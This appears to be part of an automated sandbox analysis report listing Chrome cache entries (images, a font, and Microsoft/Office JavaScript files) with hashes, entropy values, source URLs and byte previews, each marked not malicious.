SHA-256:	B38F5C1FD010828E2DFC90300D3C2AB93DF49CF75C758BBBFF6B0A987D64C448
SHA-512:	A1F345BFA3D85C7436E5F8EC6DA3147779BC903B6E59B24732C1302AEE8366B6E60D5F3281022485E4580B22D440AF80798010E06B0E2639BEB0DBE357347B7E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...>...........x1....pHYs.................sRGB.........gAMA......a.....IDATx...W.m....1W^;.\|.n..n.K...&...).Y.(.l.....a....~1l.O._...~4.`..m..!AjB.(..@R......7T<g..g...XkW..'V........s......WU .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ ..D................o'bl...@ .....@ .....@ .....@ ......M....E.E<'}...r.g..Z...Ws..1.^.~.m.S_..e..{...x.c..4/....x.{\|..gA...s.g.S/.,.2..,.....UAD1...@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ ..../..$-..g...."..#......#.B\|.5.......2........Y..M..bL=...R.g.7y.{U....q...........>.....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ ......B...\|].}.HO.....Y.,.x......C.....m.j.#.!....{\|.=...S.{<.^.=.km.e.\|Y.H...g}'......<..Mc.E..w..J...w....@ .....@ .....@ .....@ ........E...z..o..._MD.......Q..W.....@ .....@ .....@ .....@ ...^.B/......~.\|].._v.g

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1017 x 706, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	372407
Entropy (8bit):	7.9920868023509675
Encrypted:	true
SSDEEP:	6144:Qua8gWRQXRaGDBt/Qc8ABKmSzu/8YbOHPiyjcXLVzXDJImOdeEd0YufcqoTU3Xw1:QuaW0bL/QcdBaxjc7xXDOmOdee0DcqU/
MD5:	1B4C66938347FF70F6D2FA1173D0C09B
SHA1:	8766438A8E7EE0E068BABA0042B0D97C7667CAE4
SHA-256:	B59D05AA36BA301347E8E8D711A42452E925F6875ACE1409B056AD2B759C9317
SHA-512:	C9C2733F7C0DCA56B13E9F08CFFCFE0BD836F97D4D8B28EA1BA57896B9B2342A570D1653059BDED922024C10F8842C85504BAFD650CABA52C9DBF380078CBDF7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................pHYs.........&.:4....sRGB.........gAMA......a....LIDATx..[.m[r.V5.\..o.....O...>}w..6.` ..lC0.....F..@..(..<.C.).....!..)....<$J"E....D...0...M.}.n.....9*sT.WUs..6....Q...Zk.9..5... .4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I.&M.4i.I..^b.4.7.q....W........F.mL.~.G..Q..$.X...............,..q.w...W..

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	20
Entropy (8bit):	3.646439344671015
Encrypted:	false
SSDEEP:	3:xRhVnCm:xrQm
MD5:	F79FFC1767406D43B996B050CEC09ED2
SHA1:	EA4F919251BCDE6EE3CB2E45C0356E1FA3B86661
SHA-256:	1E62D5B3EFE0ECE892FF79BD65457FF2DC48A840444AFD53DEEDF2F2869BD685
SHA-512:	1B4C7C09D52BB2D26F505C148FD92B987AD680E675E7496EB8E92279F750587EBCE45DECD718CBBDFB91A4CEAADCA14AD918C4F8AA7971D199593C82C31BB92F
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAnAwrJpDUzjsBIFDdbBmF8=?alt=proto
Preview:	Cg0KCw3WwZhfGgQIZBgC

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	downloaded
Size (bytes):	138268
Entropy (8bit):	5.224497765711851
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7CisuMK/xw/:1f4Hu1I+Tw/
MD5:	5B85413B96AF340238B93068CDB641FB
SHA1:	D949C985DF4F80FAB0CF036A1DD86C63CA342F1F
SHA-256:	1B448C19C6DF1F2D15399A710A73BB3EC0C5233B571CDFAE9CCA315E6E13FB85
SHA-512:	5B7E26BB4C72A8D8EE6CD20EEEA354ADD396F74289BD3E42CD1D6C8A5D3FA1B190CC62B953CAF4FA38EFDA0983F90F937276C8797EB2E1BADC11F9F5161117CE
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/shell/_scrf/js/themes=default/54-af9f9f/d4-fb1f57/e1-a50eee/e7-954872/d8-97d509/f0-251fe2/46-be1318/77-04a268/11-240c7b/63-077520/a4-34de62/f9-a5b2ce/db-bc0148/dc-7e9864/6d-c07ea1/6f-dafe8c/f6-aa5278/73-a24d00/6d-1e7ed0/b7-cadaa7/c4-898cf2/ca-40b7b0/4e-ee3a55/3e-f5c39b/c3-6454d7/f9-7592d3/d0-e64f3e/92-10345d/79-499886/7e-cda2d3/58-ab4971/74-d51c79/e0-3c9860/de-884374/1f-100dea/33-abe4df/2b-8e0ae6?ver=2.0&_cf=02242021_3231&iife=1
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1463), with CRLF line terminators
Category:	downloaded
Size (bytes):	1507
Entropy (8bit):	5.167038875674085
Encrypted:	false
SSDEEP:	24:HKclMfVrUaxkgh4ibQhYmxjC25jDsNu690C8X0xqsgKEaF7pAe/Tl5Ydirs:qclMfSaxhiYmpC4jDspyXX0xq9Kr37/m
MD5:	E3CD8B5CEEC0945BD5DAFFD5DE59793A
SHA1:	F87DC46B950BCB2FFBF8182B5AE356894019F7B2
SHA-256:	47D6100F20E8B2376C9C762604DD1531C2FC15CF3612D8F689A1898183680ADF
SHA-512:	F0E2E068B57FCF286B50C603D92F03ED033D34A381BA778AF9DE4250FD8D50446B27D543E51B5BC9770DA724B267FD406307A22D3475248568D3DA3F100614F7
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/versionless/workbox-v3.6.2/workbox-sw.js
Preview:	var workbox=function(){"use strict";try{self.workbox.v["workbox:sw:3.6.3"]=1}catch(t){}const t="https://storage.googleapis.com/workbox-cdn/releases/3.6.3",e={backgroundSync:"background-sync",broadcastUpdate:"broadcast-cache-update",cacheableResponse:"cacheable-response",core:"core",expiration:"cache-expiration",googleAnalytics:"google-analytics",navigationPreload:"navigation-preload",precaching:"precaching",rangeRequests:"range-requests",routing:"routing",strategies:"strategies",streams:"streams"};return new class{constructor(){return this.v={},this.t={debug:"localhost"===self.location.hostname,modulePathPrefix:null,modulePathCb:null},this.e=this.t.debug?"dev":"prod",this.s=!1,new Proxy(this,{get(t,s){if(t[s])return t[s];const o=e[s];return o&&t.loadModule(`workbox-${o}`),t[s]}})}setConfig(t={}){if(this.s)throw new Error("Config must be set before accessing workbox.* modules");Object.assign(this.t,t),this.e=this.t.debug?"dev":"prod"}skipWaiting(){self.addEventListener("install",()=>sel

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2501 x 831, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	871456
Entropy (8bit):	7.99321885800314
Encrypted:	true
SSDEEP:	12288:0gKYAG/kgSHCI1lCaBDevD+ht1s996/cZoCCejkEnK3eXJdcKyMn5A+dZLw:rQR/1l9evDGdEZRzgAJdB/DdZE
MD5:	46B510EC8A77F53E8C201F8779D69E42
SHA1:	A21718B5BA16FF1BC10C43FFE9F4823D5EB414B0
SHA-256:	D7315CEF7F382EB88B09A82EB3D5F13564105D5CE8413888963699E4BB523895
SHA-512:	17E5C09882E8700C731AFE807F98D30658058CB9AC74A60CD291C37F0242863A2FB524829D708867529A368463D5949097D25DA5C6E6CF87DE0F9B125CA614AC
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/m365-copilot-centric-value-commercial-46b510ec8a.png
Preview:	.PNG........IHDR.......?.......(.....pHYs.................sRGB.........gAMA......a...K.IDATx.......y..>..}.].n-.R.$.%K.,#K.e....6.6.m.a9....0..=}.i...9s.9}.....{`.6....h....j......ZJ.Rm......%3&#3.'.}oI6.H.._.w.\"##"#.'..<".......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1034 x 719, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	428898
Entropy (8bit):	7.9874742918900425
Encrypted:	false
SSDEEP:	12288:d2GTMhzF8cPHvuBGMRBflaF7+smn+i0QuCPSSqji:d2LZHPHWBrlaw5+HBCqNi
MD5:	12F4494F4CD6A1BBC2B5B1257E96C190
SHA1:	52DAFBDDA2D5DAC09D51B2DBD3BF77E49115B5A7
SHA-256:	2E4F8D20594328AB5784B695DD0D99635AC8D1715E9EB1483EB6D1D6A838C46D
SHA-512:	73A28B482157E82FCA4F40D716149789AD56A4D03AD3EBD689CA6B1E54DC6A60418155C83AC7F27171F5B03C44F8DBDFBA224176D5F2535E2EF748987AC32A0B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............Q".....pHYs.........&.:4....sRGB.........gAMA......a.....IDATx...{.mIv....}...{.o.g.g.{f8.k.")r(.,F4ir..I.$G.L.!dG.%...r..!.8.$..8.......$H.......0lQ.dI.H.!..y.3.wwOw..;.*.j...s.E....5s.;g..kW..Z.[.Z.JdO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=.iO{.....=..M...iO{...D.....=[z......{.~>...il.g...,}.......9.>..)..L./.../\.....A...I..g...=.iO{.....?Vi'.......o...;.<y%..?..rG.x.{..\..\.ww.....;O.]...9...>...w...{........x\|..xx.:].s8d....!..,Y.. 9...o.9'..Z..;9.JI.%....'...Z6..j.P........Z......-..Jm..aI.0Ni....._.WW.Z.....R{._/7..{k.Wz.u.P..n..lW)...........]Z.K.7g.w...X..<....I..

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2609 x 471, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	698616
Entropy (8bit):	7.988990542773947
Encrypted:	false
SSDEEP:	12288:7B7J02MzM8uOZuft67QhY3HZuppyR3l6Pjk48XOIWoXZQikJSPU7NLRlg:s2MzOOZulaQhY39xMrhQWoXaiwSc7/y
MD5:	A907814C618999761488552FF59ABE52
SHA1:	9328DD8911EFD581DAF9F18649B687C683D93787
SHA-256:	A85710F22BD11B8F228D8B7387F87E5A066FF7CAB256D9719D01881A00FD7CE8
SHA-512:	8982B24CFC82EBD3A6E9DC0C6996B2E04963F60A248DF3EA1C89EFBA52D49E2A6660B0321F4A217BA8778B1D301C43C91598D450D22451EC0F393A38EB8786A4
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/more-apps-consumer-mreb-a907814c61.png
Preview:	.PNG........IHDR...1..........Y.....pHYs.................sRGB.........gAMA......a.....IDATx...=.vG.&.E..\|O...E.@. .P.CC#./.<.C{%S...B.d6...\|..]o..b8.Z..5h-.......E.{>{.N......WF....V..p...<....'3.#..h.....?5..<.8..\[\9....oB.. ...8c>.........".~.....{......,w.y-...Q..A..9..#<....M2K..}.,/.x.CiW2U..G...@.t.s."...k%}.4f.F:...C.-Q.#u.?R..."..y../...;~.Wxq}K. .n.Vr.p.W..W=.G..G.n...i...\|..E..,.?........]9.b..}...-../8.">...U\..6..-..i...xo.........e..u.=.............~.\|.n...JZ.M.A_.._.e..7...L........S...O./.\|S..\|."o...........]\.q].jI.}.5.#M).............o....T..2.,......o.j...;...=.KY..t..e............w...W.... .............A..?.m\.=.../...y.....K..6.{._.._p...?.........?.s..?..\................w..O~...~..?..?k?...z...~k.\|..Q.-.@)..o.i.~.a.f.w..>.....O<...+../...o.._....._.j.oso.t^.R..R..bj..M7.t.M7.t.M7.t.M7...D.6.}..g....'...N...../.l......2Wi_..u../~..W...........?w.o+y.tZ.wX.sU..?tL...g....T..j.mG?..C.........k..}..K...5.5.3=.s-.r.._....

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 161 x 160, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3974
Entropy (8bit):	7.902382111689997
Encrypted:	false
SSDEEP:	96:ISobo+jDMIdb9KWszfIwrotnp7hVzMECexHrI1vuE2nvg5vzHJ3k:ISqo+jRAfTIwEtp7hy2HrA2vgNTVk
MD5:	2BE9B68EED69AE75FBA5ED982D0FF25D
SHA1:	BD6E134C0D87C52AC751555269A59796D5EABC55
SHA-256:	8281E85E9FF70034913A38D9EAA6AF52ED98AB621300F0558E70A9BCEFF7246E
SHA-512:	D72E1C8F52D65BBFE2ECDAF9E7A0C209F4F7C385B470DAB7C0979D3D5F1FF29EC14A5E92334676F560DFD22924B0FB983F43FB936EA23F812ED0C639896F8C60
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............d.......pHYs.................sRGB.........gAMA......a.....IDATx...u.<..E......B.....X. ... ..T.........X.......G.qf...<..p..u..\[.W#9..zS\|..9s...(.?..R.]..9...>..W.v..gR.yS..={...X..eYo9....0J....2.Fu....?..kW...../_..z......?.....}..UT../N..n..X{........Wn.L9.8.........+W..M...)....................r.q...k.....T.4Q7..j..nhcj.&:.*>ST?...q%.4....Fu.N...!.~........'F}.......Mt3D...l..v..B...1u9.`...\|...b4.~B........9.Q.sB.:..x,.e;..(.......J2.....I..G.Uo.u....~.z........?...I:.T......9.@..??.?.8.e...N..M.N:!~H.i...q,yG.{^.../Zs26{r1.;a.....c{!...`Q.....EyY...u.%<.k2..1....K.......72.Q...n\|.x<."V.{..........w'.W.G.&..L..q.5.'.(8\|..kfQ....!....?....Fulf..........9......l.6....+7a..(.h...a0..&........D ....Wk...4.....hY;'....[a....".NSW3.T.&./....9....1}....S.a{d.e..)..c.:.J\|..f..I....P.\.?..%._X'...4h...%.../^..K....@....J..[..I....../.....x.0..@.%.q?....k.'.i.R...p.`.Ks@......1'.=Md.b%..P..'.

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 4000 x 2238, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10058400
Entropy (8bit):	7.988307130589743
Encrypted:	false
SSDEEP:	196608:5nHCaQivyot0RWDNzjMqV8CoWF6UquVtmS7ycKUkQfaGG9:ZHCavyI0cDN0qV8rmguVwaKUffaGG9
MD5:	7D5C104D8439CC4A1A9618391A52DFC2
SHA1:	1EACDB703238FC270187A1A23AA77315EE475ED2
SHA-256:	2AB1510CDB2FA03A8CAF6F2CC4A40EBB2B8218922A6AD1F640F4EDD9018E9144
SHA-512:	73446F80AC5B2AB4DEE11CAE312D9486CDF1261DE7BB988F55A5C5269825773964857452705CA6B4B165DCA4DFFE7DD13531CA04804E61210DC950CED900C26F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................g....pHYs.................sRGB.........gAMA......a...z5IDATx.....&.&..J........;>..xt..{.....2.I...vu.....T.PJ.Z....K....Ep..16.r..+.........h9......5q.8.?.....0...\|<Y@...y6..B..N./..yI....e\.....d.MzN.X..V_.N..9..2.5.'A.-#...A4.._..S.\|...u_.....J.gd.lR..........i.@y,.?.}[\|..>.$p'..zi.#]emv%.!.cO...>.n8r..5..Ro.5.......h.....4.'...[....X....@[..U...v.?4D..4,;y>....r=..L...4\_p...r...~.,..<..r...3....!t._E....Ai....M3...'......z.hl#..j=...0.e;..F...9..9..._.....0..}..".k......`I.r...A...1....+.>.`.g...E..\|...1.....!..3{=..s@.-1.....343u...)..Z.k..}u.c.....QG.xy.9;. ^...x..!.S....n..z....O.0.l........M..p?..{.o/...?-..?..,.2ur......[....].b.'C..V.&...e.w`..r..\|o..;6.....k..9._.\|.{{...'..O..7.g..zG.'.#...~...]....g.$..F........o..QI..ge{...8w.t.Z.'.:..!./.......x...:.1.s...'.......D....g.Q.*y.>>.-q... ......sH..........G........<H........S..y>.+......_'k...}........i.=e...kN'_I.:..~ZsY..t$o.C..&).0D...S.....

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 973 x 675, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	279269
Entropy (8bit):	7.994566583539726
Encrypted:	true
SSDEEP:	3072:RiwpUTuOsjVbgT94HFlcTY+/+T8tDtnSTFaslpolHpMerO+lMbQfVwv6p1YH:XG+jB894HFGTVw8QgGbMY
MD5:	8548B8B68D33DBF376420E679FC84996
SHA1:	7A277E16B935833A6403DEAD1CF5A7661F20DB24
SHA-256:	CDFE0542BE718F847059F73ABC6EF56387109AB760D5530046F2EF9EDB25ED31
SHA-512:	AED4FD1D6EBACFBBECBCCAE8CF4F4F13319D355723CF16F830C315884FCDE9EDAA929E5EEF78A36006FC0412AB1224AF311906883BA7391DF7165D7F3D808E00
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/highlight-commercial-2-mreb-8548b8b68d.png
Preview:	.PNG........IHDR.............'?.k....pHYs.........&.:4....sRGB.........gAMA......a...BzIDATx...[...u...1...>..bU.b..)..).%9.":blK.,..0....v...@.h4........~k.../...:p.8.a'...u.,Z$-.WU...?g........"e.UG..<..^...c.o..E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-..'.E........^...D.....J..\|.9}........)}.zq..~..Y.O_........?.....=...}..s<..?....=.q{Vy....o\.=.~t.l~??......@;..s...

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17287), with no line terminators
Category:	downloaded
Size (bytes):	17287
Entropy (8bit):	5.463258542337543
Encrypted:	false
SSDEEP:	384:omxPfBpi9L/a4MQOxRsWkFPnq7usVYwQJXeBNZfEMg:omxe9p3FPq7uFwQJXeBfsz
MD5:	CA5DC2D8D927A4332C1AA942BF32ED98
SHA1:	F6F930818D6120E7CC5BB1E3C344BC6D4B64E47B
SHA-256:	69F79D8AD7853233E83E304DAB1335B98DF61EAC2BC2391626CB0E38840E5EB3
SHA-512:	3B00455C5D6345B93A43CE285B560A97D3B922D51C265836C77E0943E19831AC2B1485B80A6617750438055C51B840BFCCE871F75797181D09C33280CEF9E0E1
Malicious:	false
Reputation:	low
URL:	https://logincdn.msftauth.net/16.000/content/js/MeControl_yl3C2NknpDMsGqlCvzLtmA2.js
Preview:	function _hX(a){return a?true:a==0\|\|a==false\|\|a==""}function _Du(a,b){return _hX(a)?a:b}function _J(a){return a instanceof Array}function _BD(a){return "function"._f0(typeof a,true)}function _F(a){return typeof a=="string"}function _BE(a){return _hX(a)&&_F(a)&&a!=""}function strOrDefault(a,b){return _BE(a)?a:b}function _A3(a){if(!_F(a))return "";if(a.lastIndexOf(".")<0)return "";return a.toLowerCase().substr(a.lastIndexOf(".")+1,a.length)}function _A2(a){return document.getElementById(a)}var $J={_cV:false,_b:function(c,a){var d=null;if("img"._f0(c)&&_hX(a)){var g=_A3(a.src);if("png"._f0(g,true)&&!$F._lM())c="span"}var b=d;if("input"._f0(c,true)&&_hX(a)&&(a.name\|\|a.type)){if(!$aE._j._f0(a.type)){var f=document.createElement("div");f.innerHTML='<input type="'+(a.type?a.type:"")+'" name="'+(a.name?a.name:"")+'" />';b=f.firstChild}else try{var e="<"+c;if(a.type)e+=' type="'+a.type+'"';if(a.name)e+=' name="'+a.name+'"';e+=">";b=document.createElement(e)}catch(h){b=d}if(_hX(b)){a.type=d;a.na

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65394)
Category:	dropped
Size (bytes):	91802
Entropy (8bit):	5.3603423050848615
Encrypted:	false
SSDEEP:	1536:C4F18VDgLMcb+0XbPN1xlJGFqCN3tcULcUoHfe:C4F18VDgLN9LN1mTn
MD5:	CF5CC7F4B57526CC37893DCB83DED031
SHA1:	E953783BE0A7894585778455AAE3D0DF094D6F29
SHA-256:	3A790B6C0D26D7A4D292CB27F992EAFAFF42C37E9318B2AB704207039127FCB8
SHA-512:	2320F9D7811CD773C1E5C2E95A31B39E9FF62A2FA7CA431975873DAB57AE42A75BA720D15AEB47FA2EA127D0766EB5AA15040CFFD04BF7A8CB8BCD7236069C40
Malicious:	false
Reputation:	low
Preview:	/!. 1DS JS SDK Shared Analytics, 3.2.18. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t,r={},i="__ms$mod__",o={},a=o.esm_ms_shared_analytics_mectrl_3_2_18={},u="3.2.18",c="oneDsMeControl3",s=(s=e)[c]=s[c]\|\|{},l=(l=e)[c="oneDsMeControl"]=l[c]\|\|{},e=s[i]=s[i]\|\|{},f=e.v=e.v\|\|[],c=l[i]=l[i]\|\|{},d=c.v=c.v\|\|[];for(t in(c.o=c.o\|\|[]).push(o),n(r),r)s[t]=r[t],f[t]=u,l[t]=r[t],d[t]=u,(a.n=a.n\|\|[]).push(t)}(this,function(e){"use strict";!function(e,n,t){var r=Object.defineProperty;if(r)try{return r(e,n,t)}catch(i){}typeof t.value!==undefined&&(e[n]=t.value)}(e,"__esModule",{value:!0});var y="function",m="object",se="undefined",C="prototype",I="hasOwnProperty",b=Object,S=b[C],x=b.assign,w=b.create,n=b.defineProperty,_=S[I],T=null;function O(e){e=!1===(e=void 0===e\|\|e)?null:T;return e\|\|((e=(e=(e=typeof globalThis!==se?globalThis:e)\|\|typeof self===se?e:self)\|\|typeof window===se?e:window)\|\|typeof global===se\|\|(e=global),T=e),e

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1094 x 761, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	489526
Entropy (8bit):	7.995720041871589
Encrypted:	true
SSDEEP:	6144:aKimPYeigxfUPOwwMSavIHHukSrlKdZmzrC41zbxJa9ZqHqqzM0pZAyeRLqtt3LP:aKPFyOziIHOEgz2izjDANRLsl+4H7
MD5:	708BCC570AD4887E2C1854014B472FC0
SHA1:	768539D7A0EF0061097FF3AE0895EE437D543A13
SHA-256:	88A8CE64B7B33A367FC73338F5E319B3546DD782E0336CCA07D00A54B5C51DA0
SHA-512:	9E35EBDE9BBC942B2F1ECDD7A700D2822B651EC1682B27BB14936A683A5E7288D6F151B3299B2D423B2A2526516519991B7F967F1A466936E91EDAB4CAC13F8B
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/highlight-commercial-4-mreb-708bcc570a.png
Preview:	.PNG........IHDR...F...........!.....pHYs.........&.:4....sRGB.........gAMA......a...w.IDATx.....$.Y.....O....l..]..*.d...d...X`0.^....{...\s...K...m0..m0`2.e..]m........t.t..}...{...l.vv..nMwW..>U.....=..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 10544, version 1.0
Category:	downloaded
Size (bytes):	10544
Entropy (8bit):	7.978818164372222
Encrypted:	false
SSDEEP:	192:zdZObGyIhlCLlNHSmMalbqw/37PfF1pLNdEVSVJbb/3yw142gIn:RZO6yUUzHSmH1qwzXvxNSsLD3yMgI
MD5:	8E160632C48AD1E3D0E9F4334636086B
SHA1:	7BA2921499B2264DEE14F95801BFBCF416861D7C
SHA-256:	57FEBFBAD63B722A38BC668E67BC7C2DC02ECA221F26DB3A9303C1BD584A1A42
SHA-512:	943E0BAB3A26AA73AB7F45636DCE32F435BC6651D3FE9F94DC8EE37FF2291A191A9F9276603C3B760EB734388C2388F06A8331FADF85025CB92687D3E86D24DE
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_light.woff2
